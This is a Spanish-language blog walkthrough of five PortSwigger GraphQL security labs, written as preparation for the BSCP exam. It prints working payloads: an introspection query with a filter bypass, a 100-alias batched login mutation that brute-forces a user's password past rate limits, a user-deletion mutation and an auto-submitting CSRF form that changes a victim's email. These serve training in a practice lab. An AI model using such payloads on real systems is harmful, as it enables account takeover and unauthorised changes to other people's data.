¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a ataques a GraphQL. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
El uso de GraphQL ya se encuentra muy extendido a día de hoy. Además, hemos de decir que las aplicaciones que vemos haciendo uso de GraphQL suelen estar desprotegidas, por lo general por el desconocimiento de los desarrolladores en este punto. Por ello, estos laboratorios nos vienen muy bien para sentar las bases ya que de ellos saldrán muchas vulnerabilidades en el futuro.
Lab1 (Apprentice) – Accessing private GraphQL posts
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find the hidden blog post and enter the password.». En este laboratorio el objetivo es explotar una vulnerabilidad en GraphQL para descubrir una contraseña oculta.
Simplemente accediendo a la aplicación, podemos ver que existe un endpoint GraphQL al cual se realizan las peticiones para obtener los datos de los posts. Como vemos en las siguientes capturas, la extensión InQL nos ayuda mucho a visualizar mejor las consultas y datos de manera más eficiente.


Le pasamos la URL de GraphQL a la extensión InQL haciendo botón derecho en ella, yendo a extensiones y seleccionando «InQL» y la opción «Generate Queries».

Le damos al botón de analizar y la propia extensión utilizará introspección y otras técnicas para intentar descubrir el esquema de la API GraphQL subyacente. Como vemos, descubrimos todas las queries (además de descubrir otras cosas como mutaciones si existiesen que no es el caso) y entre ellas, una query para obtener blog posts de manera individual:

Si nos fijamos en la primera petición para obtener todos los blog posts, el número «3» no se encuentra disponible. Por tanto, vamos a intentar obtener los datos del blog post número «3» con la query «getBlogPost». Usamos InQL para enviar la petición al Repeater y que nos la autocomplete, facilitando el trabajo. Simplemente debemos cambiar ahora el valor del argumento por el número «3»:

Obtenemos los datos y, como vemos, la password del POST, que debemos emplear como solución al laboratorio.
Lab2 (Practicioner) – Accidental exposure of private GraphQL fields
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, sign in as the administrator and delete the username carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad en GraphQL para acceder como el usuario «administrator» y borrar el usuario «carlos».
De nuevo, simplemente navegando a la raíz de la aplicación localizamos el endpoint GraphQL de manera muy rápida:

De nuevo, lanzamos la petición a InQL para intentar obtener el esquema de manera rápida y ver si podemos localizar nuevas queries, mutaciones… Esta extensión es nuestra navaja suiza para GraphQL (puedes ver el laboratorio primero para observar cómo hacerlo si tienes dudas):

Tal como podemos apreciar, existe una query denominada «getUser», que podemos intentar utilizar para obtener los datos de los usuarios. La mandamos al Repeater y probamos identificadores correlativos:

Rápidamente identificamos la contraseña de «administrator». Ahora, simplemente, inicia sesión y borra al usuario «carlos» del mapa.
Lab3 (Practicioner) – Finding a hidden GraphQL endpoint
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find the hidden endpoint and delete carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad en GraphQL para borrar el usuario «carlos».
En este caso, descubrimos el endpoint GraphQL simplemente navegando al recurso «/api» de la web, tal como vemos:

El propio error «query not present» es muy genérico y característico de GraphQL. Intentamos descubrir el esquema mediante introspección, pero vemos que es posible hacerlo mediante método POST con JSON ni mediante método POST con formato URL-encoded:


Sin embargo, mediante método GET sí es posible acceder al endpoint. No obstante, la consulta básica de introspección nos da error:

El error anterior nos hace ver que las palabras __schema y __type pueden estar filtradas. Incluimos un retorno de carro y espacios en blanco tras la palabra esquema y comprobamos cómo podemos acceder a la introspección de GraphQL, bypasseando los controles.

El siguiente paso será lanzar la petición de introspección GraphQL completa o, al menos, con los datos que queremos (podemos excluir cosas como suscripciones y demás de primeras para acortar la consulta). El siguiente código sería la consulta original en formato JSON. Fíjate como metemos el retorno de carro y los espacios tras las palabras __schema y __type para poder bypassear el filtro:
{
"query": "query IntrospectionQuery {
__schema
{
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
}
}
}
fragment FullType on __Type
{
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type
{
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}"
}
La consulta anterior, convertida a parámetro GET sería:
query+IntrospectionQuery+%7b%0d%0a++++__schema%0d%0a%09++++%7b%0d%0a++++++++queryType+%7b%0d%0a++++++++++++name%0d%0a++++++++%7d%0d%0a++++++++mutationType+%7b%0d%0a++++++++++++name%0d%0a++++++++%7d%0d%0a++++++++types+%7b%0d%0a+++++++++...FullType%0d%0a++++++++%7d%0d%0a++++++++directives+%7b%0d%0a++++++++++++name%0d%0a++++++++++++description%0d%0a++++++++++++args+%7b%0d%0a++++++++++++++++...InputValue%0d%0a++++++++%7d%0d%0a++++++++%7d%0d%0a++++%7d%0d%0a%7d%0d%0a%0d%0afragment+FullType+on+__Type%0d%0a++++%7b%0d%0a++++kind%0d%0a++++name%0d%0a++++description%0d%0a++++fields%28includeDeprecated%3a+true%29+%7b%0d%0a++++++++name%0d%0a++++++++description%0d%0a++++++++args+%7b%0d%0a++++++++++++...InputValue%0d%0a++++++++%7d%0d%0a++++++++type+%7b%0d%0a++++++++++++...TypeRef%0d%0a++++++++%7d%0d%0a++++++++isDeprecated%0d%0a++++++++deprecationReason%0d%0a++++%7d%0d%0a++++inputFields+%7b%0d%0a++++++++...InputValue%0d%0a++++%7d%0d%0a++++interfaces+%7b%0d%0a++++++++...TypeRef%0d%0a++++%7d%0d%0a++++enumValues%28includeDeprecated%3a+true%29+%7b%0d%0a++++++++name%0d%0a++++++++description%0d%0a++++++++isDeprecated%0d%0a++++++++deprecationReason%0d%0a++++%7d%0d%0a++++possibleTypes+%7b%0d%0a++++++++...TypeRef%0d%0a++++%7d%0d%0a%7d%0d%0a%0d%0afragment+InputValue+on+__InputValue+%7b%0d%0a++++name%0d%0a++++description%0d%0a++++type+%7b%0d%0a++++++++...TypeRef%0d%0a++++%7d%0d%0a++++defaultValue%0d%0a%7d%0d%0a%0d%0afragment+TypeRef+on+__Type%0d%0a++++%7b%0d%0a++++kind%0d%0a++++name%0d%0a++++ofType+%7b%0d%0a++++++++kind%0d%0a++++++++name%0d%0a++++++++ofType+%7b%0d%0a++++++++++++kind%0d%0a++++++++++++name%0d%0a++++++++++++ofType+%7b%0d%0a++++++++++++++++kind%0d%0a++++++++++++++++name%0d%0a++++++++++++%7d%0d%0a++++++++%7d%0d%0a++++%7d%0d%0a%7d
Lanzamos y obtenemos los datos del esquema:

Guardamos el documento JSON obtenido en la respuesta y se lo indicamos a InQL como fichero de entrada para visualizar la API GraphQL de forma más sencilla:

Localizada la query de obtención de datos de usuario, la utilizamos para enumerar los datos de «carlos». Fíjate cómo usamos el método GET y el número «3» para localizar los datos de «carlos» cuyo «id» es «3»:

Del mismo modo, podemos usar ahora la mutación para borrar un usuario. Utilizaremos, obviamente, el identificador del usuario «carlos» que es el «3».
Mutación original para POST:
mutation deleteOrganizationUser {
deleteOrganizationUser(input: {id:3}) {
user {
id
username
}
}
}
Mutación para GET:
mutation+deleteOrganizationUser+%7b%0a++++deleteOrganizationUser%28input%3a+%7bid%3a3%7d%29+%7b%0a++++++++user+%7b%0a++++++++++++id%0a++++++++++++username%0a++++++++%7d%0a++++%7d%0a%7d

Igualmente, podríamos haber usado la mutación indicando el nombre de usuario, habiéndonos ahorrado la query. No obstante, para aprender mejor a usar GraphQL lo hemos hecho en dos pasos. Con esto, laboratorio resuelto.
Lab4 (Practicioner) – Bypassing GraphQL brute force protections
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, brute force the login mechanism to sign in as carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad en GraphQL para acceder como el usuario «carlos».
Realizando una navegación estándar, rápidamente descubrimos el endpoint GraphQL de la aplicación:

Del mismo modo, se puede ver que al intentar hacer un login en el sistema también se usa GraphQL:

Aunque probablemente la aplicación web tiene mecanismos para prevenir fuerza bruta, podemos intentar enviar varios intentos de inicio de sesión en la siguiente URL. Utilizamos el siguiente payload, en el que anidamos varias mutaciones con aliases en modo batch:
{
"query": "mutation {\n p1: login(input: { username: \"carlos\", password: \"123456\" }) { token success }\n p2: login(input: { username: \"carlos\", password: \"password\" }) { token success }\n p3: login(input: { username: \"carlos\", password: \"12345678\" }) { token success }\n p4: login(input: { username: \"carlos\", password: \"qwerty\" }) { token success }\n p5: login(input: { username: \"carlos\", password: \"123456789\" }) { token success }\n p6: login(input: { username: \"carlos\", password: \"12345\" }) { token success }\n p7: login(input: { username: \"carlos\", password: \"1234\" }) { token success }\n p8: login(input: { username: \"carlos\", password: \"111111\" }) { token success }\n p9: login(input: { username: \"carlos\", password: \"1234567\" }) { token success }\n p10: login(input: { username: \"carlos\", password: \"dragon\" }) { token success }\n p11: login(input: { username: \"carlos\", password: \"123123\" }) { token success }\n p12: login(input: { username: \"carlos\", password: \"baseball\" }) { token success }\n p13: login(input: { username: \"carlos\", password: \"abc123\" }) { token success }\n p14: login(input: { username: \"carlos\", password: \"football\" }) { token success }\n p15: login(input: { username: \"carlos\", password: \"monkey\" }) { token success }\n p16: login(input: { username: \"carlos\", password: \"letmein\" }) { token success }\n p17: login(input: { username: \"carlos\", password: \"shadow\" }) { token success }\n p18: login(input: { username: \"carlos\", password: \"master\" }) { token success }\n p19: login(input: { username: \"carlos\", password: \"666666\" }) { token success }\n p20: login(input: { username: \"carlos\", password: \"qwertyuiop\" }) { token success }\n p21: login(input: { username: \"carlos\", password: \"123321\" }) { token success }\n p22: login(input: { username: \"carlos\", password: \"mustang\" }) { token success }\n p23: login(input: { username: \"carlos\", password: \"1234567890\" }) { token success }\n p24: login(input: { username: \"carlos\", password: \"michael\" }) { token success }\n p25: login(input: { username: \"carlos\", password: \"654321\" }) { token success }\n p26: login(input: { username: \"carlos\", password: \"superman\" }) { token success }\n p27: login(input: { username: \"carlos\", password: \"1qaz2wsx\" }) { token success }\n p28: login(input: { username: \"carlos\", password: \"7777777\" }) { token success }\n p29: login(input: { username: \"carlos\", password: \"121212\" }) { token success }\n p30: login(input: { username: \"carlos\", password: \"000000\" }) { token success }\n p31: login(input: { username: \"carlos\", password: \"qazwsx\" }) { token success }\n p32: login(input: { username: \"carlos\", password: \"123qwe\" }) { token success }\n p33: login(input: { username: \"carlos\", password: \"killer\" }) { token success }\n p34: login(input: { username: \"carlos\", password: \"trustno1\" }) { token success }\n p35: login(input: { username: \"carlos\", password: \"jordan\" }) { token success }\n p36: login(input: { username: \"carlos\", password: \"jennifer\" }) { token success }\n p37: login(input: { username: \"carlos\", password: \"zxcvbnm\" }) { token success }\n p38: login(input: { username: \"carlos\", password: \"asdfgh\" }) { token success }\n p39: login(input: { username: \"carlos\", password: \"hunter\" }) { token success }\n p40: login(input: { username: \"carlos\", password: \"buster\" }) { token success }\n p41: login(input: { username: \"carlos\", password: \"soccer\" }) { token success }\n p42: login(input: { username: \"carlos\", password: \"harley\" }) { token success }\n p43: login(input: { username: \"carlos\", password: \"batman\" }) { token success }\n p44: login(input: { username: \"carlos\", password: \"andrew\" }) { token success }\n p45: login(input: { username: \"carlos\", password: \"tigger\" }) { token success }\n p46: login(input: { username: \"carlos\", password: \"sunshine\" }) { token success }\n p47: login(input: { username: \"carlos\", password: \"iloveyou\" }) { token success }\n p48: login(input: { username: \"carlos\", password: \"2000\" }) { token success }\n p49: login(input: { username: \"carlos\", password: \"charlie\" }) { token success }\n p50: login(input: { username: \"carlos\", password: \"robert\" }) { token success }\n p51: login(input: { username: \"carlos\", password: \"thomas\" }) { token success }\n p52: login(input: { username: \"carlos\", password: \"hockey\" }) { token success }\n p53: login(input: { username: \"carlos\", password: \"ranger\" }) { token success }\n p54: login(input: { username: \"carlos\", password: \"daniel\" }) { token success }\n p55: login(input: { username: \"carlos\", password: \"starwars\" }) { token success }\n p56: login(input: { username: \"carlos\", password: \"klaster\" }) { token success }\n p57: login(input: { username: \"carlos\", password: \"112233\" }) { token success }\n p58: login(input: { username: \"carlos\", password: \"george\" }) { token success }\n p59: login(input: { username: \"carlos\", password: \"computer\" }) { token success }\n p60: login(input: { username: \"carlos\", password: \"michelle\" }) { token success }\n p61: login(input: { username: \"carlos\", password: \"jessica\" }) { token success }\n p62: login(input: { username: \"carlos\", password: \"pepper\" }) { token success }\n p63: login(input: { username: \"carlos\", password: \"1111\" }) { token success }\n p64: login(input: { username: \"carlos\", password: \"zxcvbn\" }) { token success }\n p65: login(input: { username: \"carlos\", password: \"555555\" }) { token success }\n p66: login(input: { username: \"carlos\", password: \"11111111\" }) { token success }\n p67: login(input: { username: \"carlos\", password: \"131313\" }) { token success }\n p68: login(input: { username: \"carlos\", password: \"freedom\" }) { token success }\n p69: login(input: { username: \"carlos\", password: \"777777\" }) { token success }\n p70: login(input: { username: \"carlos\", password: \"pass\" }) { token success }\n p71: login(input: { username: \"carlos\", password: \"maggie\" }) { token success }\n p72: login(input: { username: \"carlos\", password: \"159753\" }) { token success }\n p73: login(input: { username: \"carlos\", password: \"aaaaaa\" }) { token success }\n p74: login(input: { username: \"carlos\", password: \"ginger\" }) { token success }\n p75: login(input: { username: \"carlos\", password: \"princess\" }) { token success }\n p76: login(input: { username: \"carlos\", password: \"joshua\" }) { token success }\n p77: login(input: { username: \"carlos\", password: \"cheese\" }) { token success }\n p78: login(input: { username: \"carlos\", password: \"amanda\" }) { token success }\n p79: login(input: { username: \"carlos\", password: \"summer\" }) { token success }\n p80: login(input: { username: \"carlos\", password: \"love\" }) { token success }\n p81: login(input: { username: \"carlos\", password: \"ashley\" }) { token success }\n p82: login(input: { username: \"carlos\", password: \"nicole\" }) { token success }\n p83: login(input: { username: \"carlos\", password: \"chelsea\" }) { token success }\n p84: login(input: { username: \"carlos\", password: \"biteme\" }) { token success }\n p85: login(input: { username: \"carlos\", password: \"matthew\" }) { token success }\n p86: login(input: { username: \"carlos\", password: \"access\" }) { token success }\n p87: login(input: { username: \"carlos\", password: \"yankees\" }) { token success }\n p88: login(input: { username: \"carlos\", password: \"987654321\" }) { token success }\n p89: login(input: { username: \"carlos\", password: \"dallas\" }) { token success }\n p90: login(input: { username: \"carlos\", password: \"austin\" }) { token success }\n p91: login(input: { username: \"carlos\", password: \"thunder\" }) { token success }\n p92: login(input: { username: \"carlos\", password: \"taylor\" }) { token success }\n p93: login(input: { username: \"carlos\", password: \"matrix\" }) { token success }\n p94: login(input: { username: \"carlos\", password: \"mobilemail\" }) { token success }\n p95: login(input: { username: \"carlos\", password: \"mom\" }) { token success }\n p96: login(input: { username: \"carlos\", password: \"monitor\" }) { token success }\n p97: login(input: { username: \"carlos\", password: \"monitoring\" }) { token success }\n p98: login(input: { username: \"carlos\", password: \"montana\" }) { token success }\n p99: login(input: { username: \"carlos\", password: \"moon\" }) { token success }\n p100: login(input: { username: \"carlos\", password: \"moscow\" }) { token success }\n}"
}

Como vemos, obtenemos las credenciales carlos:2000. Simplemente accediendo a la cuenta resolvemos el laboratorio.
Lab5 (Practicioner) – Performing CSRF exploits over GraphQL
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address, then upload it to your exploit server.». En este laboratorio el objetivo es explotar una vulnerabilidad CSRF en GraphQL para cambiar el correo de la víctima.
Accedemos como el usuario «wiener:peter» y visualizamos el proceso de cambio de correo, así como la petición generada.

Observamos adicionalmente que podemos cambiar el contenido de la petición de JSON a URL-encode:
Mutación original:
mutation changeEmail {
changeEmail(input: { email: "foo2@foo2.foo2" }) {
email
}
}
Mutación URL-Encode:
mutation+changeEmail+%7b%0a++++changeEmail%28input%3a+%7b+email%3a+%22foo2@foo2.foo2%22+%7d%29+%7b%0a++++++++email%0a++++%7d%0a%7d

Así que, finalmente, solo nos queda generar una prueba de concepto de la petición anterior y enviársela a la víctima, con la esperanza de que la ejecute con la sesión abierta al no tener protecciones CSRF. Recuerda cambiar el correo, guardarla en el «Exploit Server» y enviarla.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ad500a704cffd15806b035e006000d0.web-security-academy.net/graphql/v1" method="POST">
<input type="hidden" name="query" value="mutation changeEmail {
changeEmail(input: { email: "admin@admin.admin" }) {
email
}
}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Una vez enviada a la víctima, el laboratorio debería resolverse.
~km0xu95
Comments are closed.